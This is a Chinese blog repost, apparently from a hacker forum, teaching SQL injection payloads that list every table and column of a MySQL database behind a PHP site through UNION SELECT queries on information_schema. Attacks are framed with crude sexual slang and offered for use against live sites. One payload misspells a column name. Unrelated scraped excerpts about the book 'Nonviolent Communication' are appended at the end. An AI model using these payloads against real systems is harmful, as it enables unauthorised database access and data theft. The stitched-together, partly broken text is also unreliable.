php mysql非暴力查表的注入語句寫法總結

2022-06-26 17:15:17 字數 1825 閱讀 8399

很久很久很久以前,當我對php+mysql的注射什麼都不懂的時候,磊哥教了我怎麼去射這種站,並且教會了我很多種不同的射的方法,這讓我學會了使用不同的體位去射,結果我發現射這種站的時候靈活性真的很大,想在**射就在**射,想怎麼射就怎麼射,想什麼體位就什麼體位,學會了很多東西,很感激磊哥。

磊哥給我發過一些截圖,我看到磊哥和狐狸大哥一起射過很多站,都是國外的站啊,他們也射的進去,我沒搞過幾個國外站,主要是一看到那些彆扭的字母我自己就彆扭,就思路就斷掉斷掉了… …

所以,到現在為止,我還是不明白為什麼當磊哥總是射的很遠(人在國內就可以射到國外去),並且射的量很大(發給我了好多截圖啊)… …

我覺得應該是磊哥身體好,所以才這樣… …

/article/201105/89843.html

/article/201105/89850.html

我今天要說的也是這種方法,不過**要簡潔一點,因為簡潔,所以射起來的時候會感覺更爽一點,並且射出結果所需的時間也比較短一些。

不過我覺得磊哥和娜娜大姐應該早知道這種**,只是在他們的文章中為了使新手更容易理解,所以才寫的複雜了一點,既然他們沒寫,那我就越俎代庖一把,寫出來吧。

union select 1,2,3,table_name from (select * from information_schema.tables where table_schema=資料庫名字的hex order by table_schema limit 6,7)t limit 1—

這句**可以查出某個庫中都有哪些表,但是這個**的唯一不足之處就是,每次只能查出乙個表名,要想獲得這個庫中的所有表名,就必須要不斷的更換limit後邊的數值,比較麻煩,並且磊哥的這句**使用了兩層巢狀,這對於那些對sql語言不怎麼熟悉的朋友來說可能就不是那麼好理解了,那麼,其實這句**可以這麼寫:

union+select+1,2,table_name+from+information_schema.tables+where+table_schema=資料庫名字的hex

這樣就一次性列出了該庫中的所有表名,可以看到,這裡只有一層查詢,並且沒有使用limit關鍵字,這樣就清爽多了,要寫的**也少了很多,並且更容易理解一點,你看,是不是很爽?

娜娜姐是這樣寫的:

union select 1,2,column_name from (select * from information_schema.columns where table_name=爆出來的表名的hex值 and table_schema=資料庫名的hex值 order by 1 limit 2,3)t limit 1—

這裡同樣使用了巢狀查詢,並且同樣是每次只能查出乙個列名,還是很麻煩,我要說的是,這段**可以這麼寫:

union+select+1,2,columns_name+from+information_schema.columns+where+table_name=爆出來的表名的hex值

這樣就一次性列出了指定表中的所有列名。

可以看到,我上邊說的兩句**中沒有使用limit來限定查詢的範圍,如果你願意,你可以在語句的最後加上這個limit,比如:

union+select+1,2,table_name+from+information_schema.tables+where+table_schema=資料庫名字的hex limit 0,1

union+select+1,2,columns_name+from+information_schema.columns+where+table_name=爆出來的表名的hex值 limit 0,1

如果你不知道limit有什麼用,那麼建議你自己谷歌一下,這裡不細說,只是簡單的說一下語句的變換問題,ok,完畢。

摘自紅色黑客聯盟(www.7747.net

) 原文:

非暴力溝通

受到烏托邦聲音的 他們拼命的擠進天堂的大門,但當大門在身後砰然關上時,他們發現自己是在地獄裡。公尺蘭 昆德拉 玩笑 非暴力生活的乙個關鍵就是 感激生活的賜予,而不貪心。當我們真誠助人時,我們豐富他人生命的願望得到了滿足。我們的行為,是出於由衷的喜悅。如果我們通過批評來提出主張,人們的反應常常是申辯或...

《非暴力溝通》 2

非暴力溝通有四個要素 1.觀察 2.感受 3.需要 4.請求。客觀的觀察,不對人對事做任何主觀上的判斷和評價。主觀的評價會讓人產生逆反心理,也會妨礙我們全面了解乙個人。我們要誠實 清晰地表達自己,又尊重與傾聽他人。非暴力溝通指導我們的談話和傾聽方式,即使身處逆境,我們也能樂於助人。非暴力溝通鼓勵我們...

書 非暴力溝通

為了彼此能樂於互助,我們專注於四個方面 非暴力溝通模式的四個要素。首先,留意發生的事情。我們此刻觀察到什麼?不管是否喜歡,只是說出人們所做的事情。要點是,清楚地表達觀察結果,而不判斷或評估。接著,表達感受,例如受傷 害怕 喜悅 開心 氣憤等等。然後,說出哪些需要導致那樣的感受。一旦非暴力溝通誠實地表...